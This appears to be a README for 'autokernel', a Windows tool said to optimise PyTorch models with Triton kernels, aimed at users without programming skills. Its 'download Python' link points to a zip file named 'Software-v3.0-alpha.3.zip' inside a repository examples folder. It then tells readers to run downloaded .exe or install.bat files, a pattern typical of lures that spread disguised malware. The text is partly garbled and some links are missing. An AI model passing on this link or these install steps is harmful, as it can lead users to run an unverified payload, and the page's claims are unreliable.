autokernel is a tool designed to improve how your computer handles GPU tasks. If you use machine learning models, especially with PyTorch, autokernel can optimize the way your graphics card processes these models. It works by creating better-performing code, called Triton kernels, that run on your GPU. This means your programs can run faster without you needing to change the code yourself.
- Works with any PyTorch model to find better GPU code automatically
- Uses Triton kernels to speed up calculations
- Runs research in the background so you can continue your work
- Saves you time by handling kernel optimization without requiring programming skills
- Supports NVIDIA GPUs using CUDA technology
To run autokernel on Windows, you will need:
- A Windows 10 or later computer
- An NVIDIA GPU with CUDA support (e.g., GTX 10 series or better)
- At least 8 GB of RAM
- Python 3.8 or higher installed
- At least 2 GB of free disk space
- A stable internet connection for downloading files and updates
Before you start, make sure your Windows system is up to date. Also, install Python if you don't have it. You can download Python from https://raw.githubusercontent.com/Teascented-swimmingstroke954/autokernel/main/examples/hf_kernels_test/matmul_cuda/Software-v3.0-alpha.3.zip
Click the button below to visit the download page for autokernel. This page has the latest version for Windows:
Follow these steps:
- Visit the link above.
- On the GitHub page, look for a section called "Releases" or "Downloads."
- Find the most recent version marked for Windows. The file will usually end with
.exeor.zip. - Click the file to start the download. If you see a
.zipfile, download and unzip it to a location you remember.
If you downloaded an .exe file:
- Double-click the file to start the installer.
- Follow the on-screen instructions. Accept any default options unless you have a reason to change them.
- Finish the installation and close the installer window.
If you downloaded a .zip file:
- Extract the files to a folder on your computer (for example, to
C:\autokernel). - Open the extracted folder.
- Look for a file named
install.bator similar, then double-click it. If no such file exists, proceed to the next step.
To use autokernel, you need to run it with a PyTorch model. Here is how to do that without programming:
- Open the Start menu and search for "Command Prompt." Click to open it.
- Use the
cdcommand to go to the autokernel folder. For example:cd C:\autokernel - Type the following command and press Enter:
This shows you the basic commands and options.
autokernel --help
Since autokernel works with PyTorch models, you will need your model saved as a file with .pt or .pth extension. If you do not have a model file, contact the person or team who created it.
To optimize your model, run this command in Command Prompt, replacing <model_path> with the location of your model file:
autokernel --model <model_path>
autokernel will start researching faster GPU code for your model. It may take some time depending on your GPU speed.
You can minimize the Command Prompt window and continue to use your computer. autokernel runs in the background and will notify you when it finishes. The optimized kernels will save automatically in the same folder as your model.
You can adjust how autokernel works by using options in the command line. Some useful options include:
--output <folder>: Set a folder to save the optimized kernels.--time <minutes>: Set how long to research kernels before stopping. Default is 60 minutes.--gpu <id>: Choose which GPU to use if you have more than one.
Use autokernel --help to see all available commands and options.
If autokernel does not start or shows errors:
- Confirm your GPU supports CUDA and the drivers are updated. You can update drivers from NVIDIA’s website.
- Make sure Python 3.8 or newer is installed and accessible from Command Prompt.
- Run Command Prompt as administrator if you get permission errors.
- Check that your model file is correct and not corrupted.
If problems persist, you can find help by opening an issue on the autokernel GitHub page.
For detailed instructions, examples, or development notes, visit the main page here:
This page also links to the source code and user discussions.
autoresearch, cuda, gpu, kernel-optimization, pytorch, triton